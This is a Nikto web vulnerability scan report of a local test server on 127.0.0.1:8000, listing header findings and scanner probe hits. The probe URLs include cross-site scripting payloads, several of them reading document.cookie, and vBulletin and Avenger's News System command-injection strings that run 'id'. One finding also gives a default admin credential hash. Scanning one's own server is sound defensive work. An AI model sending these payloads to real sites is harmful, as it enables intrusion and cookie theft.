localhost / 127.0.0.1 port 8000

Target IP	127.0.0.1
Target hostname	localhost
Target Port	8000
HTTP Server	WSGIServer/0.2 CPython/3.10.12
Site Link (Name)	http://localhost:8000
Site Link (IP)	http://127.0.0.1:8000

URI	/
HTTP Method	GET
Description	Uncommon header 'referrer-policy' found, with contents: same-origin
Test Links	http://localhost:8000/ http://127.0.0.1:8000/
OSVDB Entries	OSVDB-0

URI	/
HTTP Method	GET
Description	Uncommon header 'cross-origin-opener-policy' found, with contents: same-origin
Test Links	http://localhost:8000/ http://127.0.0.1:8000/
OSVDB Entries	OSVDB-0

URI	/
HTTP Method	GET
Description	Uncommon header 'x-content-type-options' found, with contents: nosniff
Test Links	http://localhost:8000/ http://127.0.0.1:8000/
OSVDB Entries	OSVDB-0

URI	/
HTTP Method	GET
Description	Uncommon header 'x-frame-options' found, with contents: DENY
Test Links	http://localhost:8000/ http://127.0.0.1:8000/
OSVDB Entries	OSVDB-0

URI	/SilverStream
HTTP Method	GET
Description	/SilverStream: SilverStream allows directory listing
Test Links	http://localhost:8000/SilverStream http://127.0.0.1:8000/SilverStream
OSVDB Entries	OSVDB-17113

URI	/phpimageview.php?pic=javascript:alert(8754)
HTTP Method	GET
Description	/phpimageview.php?pic=javascript:alert(8754): PHP Image View 1.0 is vulnerable to Cross Site Scripting (XSS). CA-2000-02.
Test Links	http://localhost:8000/phpimageview.php?pic=javascript:alert(8754) http://127.0.0.1:8000/phpimageview.php?pic=javascript:alert(8754)
OSVDB Entries	OSVDB-27071

URI	/myphpnuke/links.php?op=MostPopular&ratenum=[script]alert(document.cookie);[/script]&ratetype=percent
HTTP Method	GET
Description	/myphpnuke/links.php?op=MostPopular&ratenum=[script]alert(document.cookie);[/script]&ratetype=percent: myphpnuke is vulnerable to Cross Site Scripting (XSS). CA-2000-02.
Test Links	http://localhost:8000/myphpnuke/links.php?op=MostPopular&ratenum=[script]alert(document.cookie);[/script]&ratetype=percent http://127.0.0.1:8000/myphpnuke/links.php?op=MostPopular&ratenum=[script]alert(document.cookie);[/script]&ratetype=percent

OSVDB Entries	OSVDB-3931

URI	/modules.php?op=modload&name=FAQ&file=index&myfaq=yes&id_cat=1&categories=%3Cimg%20src=javascript:alert(9456);%3E&parent_id=0
HTTP Method	GET
Description	/modules.php?op=modload&name=FAQ&file=index&myfaq=yes&id_cat=1&categories=%3Cimg%20src=javascript:alert(9456);%3E&parent_id=0: Post Nuke 0.7.2.3-Phoenix is vulnerable to Cross Site Scripting (XSS). CA-2000-02.
Test Links	http://localhost:8000/modules.php?op=modload&name=FAQ&file=index&myfaq=yes&id_cat=1&categories=%3Cimg%20src=javascript:alert(9456);%3E&parent_id=0 http://127.0.0.1:8000/modules.php?op=modload&name=FAQ&file=index&myfaq=yes&id_cat=1&categories=%3Cimg%20src=javascript:alert(9456);%3E&parent_id=0
OSVDB Entries	OSVDB-0

URI	/modules.php?letter=%22%3E%3Cimg%20src=javascript:alert(document.cookie);%3E&op=modload&name=Members_List&file=index
HTTP Method	GET
Description	/modules.php?letter=%22%3E%3Cimg%20src=javascript:alert(document.cookie);%3E&op=modload&name=Members_List&file=index: Post Nuke 0.7.2.3-Phoenix is vulnerable to Cross Site Scripting (XSS). CA-2000-02.
Test Links	http://localhost:8000/modules.php?letter=%22%3E%3Cimg%20src=javascript:alert(document.cookie);%3E&op=modload&name=Members_List&file=index http://127.0.0.1:8000/modules.php?letter=%22%3E%3Cimg%20src=javascript:alert(document.cookie);%3E&op=modload&name=Members_List&file=index
OSVDB Entries	OSVDB-0

URI	/members.asp?SF=%22;}alert(223344);function%20x(){v%20=%22
HTTP Method	GET
Description	/members.asp?SF=%22;}alert(223344);function%20x(){v%20=%22: Web Wiz Forums ver. 7.01 and below is vulnerable to Cross Site Scripting (XSS). CA-2000-02.
Test Links	http://localhost:8000/members.asp?SF=%22;}alert(223344);function%20x(){v%20=%22 http://127.0.0.1:8000/members.asp?SF=%22;}alert(223344);function%20x(){v%20=%22
OSVDB Entries	OSVDB-4598

URI	/forum_members.asp?find=%22;}alert(9823);function%20x(){v%20=%22
HTTP Method	GET
Description	/forum_members.asp?find=%22;}alert(9823);function%20x(){v%20=%22: Web Wiz Forums ver. 7.01 and below is vulnerable to Cross Site Scripting (XSS). CA-2000-02.
Test Links	http://localhost:8000/forum_members.asp?find=%22;}alert(9823);function%20x(){v%20=%22 http://127.0.0.1:8000/forum_members.asp?find=%22;}alert(9823);function%20x(){v%20=%22
OSVDB Entries	OSVDB-2946

URI	/login/
HTTP Method	GET
Description	Cookie csrftoken created without the httponly flag
Test Links	http://localhost:8000/login/ http://127.0.0.1:8000/login/
OSVDB Entries	OSVDB-0

URI	/login/
HTTP Method	GET
Description	/login/: This might be interesting...
Test Links	http://localhost:8000/login/ http://127.0.0.1:8000/login/
OSVDB Entries	OSVDB-3092

URI	/forumscalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20";%20echo%20%60id%20%60;die();echo%22
HTTP Method	GET
Description	/forumscalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20";%20echo%20%60id%20%60;die();echo%22: Vbulletin allows remote command execution. See http://www.securiteam.com/securitynews/5IP0B203PI.html
Test Links	http://localhost:8000/forumscalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20";%20echo%20%60id%20%60;die();echo%22 http://127.0.0.1:8000/forumscalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20";%20echo%20%60id%20%60;die();echo%22
OSVDB Entries	OSVDB-3299
URI	/forumzcalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20";%20echo%20%60id%20%60;die();echo%22
HTTP Method	GET
Description	/forumzcalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20";%20echo%20%60id%20%60;die();echo%22: Vbulletin allows remote command execution. See http://www.securiteam.com/securitynews/5IP0B203PI.html
Test Links	http://localhost:8000/forumzcalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20";%20echo%20%60id%20%60;die();echo%22 http://127.0.0.1:8000/forumzcalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20";%20echo%20%60id%20%60;die();echo%22
OSVDB Entries	OSVDB-3299
URI	/htforumcalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20";%20echo%20%60id%20%60;die();echo%22
HTTP Method	GET
Description	/htforumcalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20";%20echo%20%60id%20%60;die();echo%22: Vbulletin allows remote command execution. See http://www.securiteam.com/securitynews/5IP0B203PI.html
Test Links	http://localhost:8000/htforumcalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20";%20echo%20%60id%20%60;die();echo%22 http://127.0.0.1:8000/htforumcalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20";%20echo%20%60id%20%60;die();echo%22
OSVDB Entries	OSVDB-3299
URI	/vbcalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20";%20echo%20%60id%20%60;die();echo%22
HTTP Method	GET
Description	/vbcalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20";%20echo%20%60id%20%60;die();echo%22: Vbulletin allows remote command execution. See http://www.securiteam.com/securitynews/5IP0B203PI.html
Test Links	http://localhost:8000/vbcalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20";%20echo%20%60id%20%60;die();echo%22 http://127.0.0.1:8000/vbcalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20";%20echo%20%60id%20%60;die();echo%22
OSVDB Entries	OSVDB-3299
URI	/vbulletincalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20";%20echo%20%60id%20%60;die();echo%22

HTTP Method	GET
Description	/vbulletincalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20";%20echo%20%60id%20%60;die();echo%22: Vbulletin allows remote command execution. See http://www.securiteam.com/securitynews/5IP0B203PI.html
Test Links	http://localhost:8000/vbulletincalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20";%20echo%20%60id%20%60;die();echo%22 http://127.0.0.1:8000/vbulletincalendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20";%20echo%20%60id%20%60;die();echo%22
OSVDB Entries	OSVDB-3299

URI	/ans.pl?p=../../../../../usr/bin/id|&blah
HTTP Method	GET
Description	/ans.pl?p=../../../../../usr/bin/id|&blah: Avenger's News System allows commands to be issued remotely. http://ans.gq.nu/ default admin string 'admin:aaLR8vE.jjhss:root@127.0.0.1', password file location 'ans_data/ans.passwd'
Test Links	http://localhost:8000/ans.pl?p=../../../../../usr/bin/id|&blah http://127.0.0.1:8000/ans.pl?p=../../../../../usr/bin/id|&blah
OSVDB Entries	OSVDB-724

URI	/ans/ans.pl?p=../../../../../usr/bin/id|&blah
HTTP Method	GET
Description	/ans/ans.pl?p=../../../../../usr/bin/id|&blah: Avenger's News System allows commands to be issued remotely.
Test Links	http://localhost:8000/ans/ans.pl?p=../../../../../usr/bin/id|&blah http://127.0.0.1:8000/ans/ans.pl?p=../../../../../usr/bin/id|&blah
OSVDB Entries	OSVDB-724

Host Summary

Start Time	2024-11-26 17:13:55
End Time	2024-11-26 17:19:19
Elapsed Time	324 seconds
Statistics	6544 items checked, 0 errors, 20 findings

Scan Summary

Software Details	Nikto 2.1.5
CLI Options	-h http://127.0.0.1:8000 -o nikto-report.html -Format html
Hosts Tested	1
Start Time	Tue Nov 26 17:13:55 2024
End Time	Tue Nov 26 17:19:19 2024
Elapsed Time	324 seconds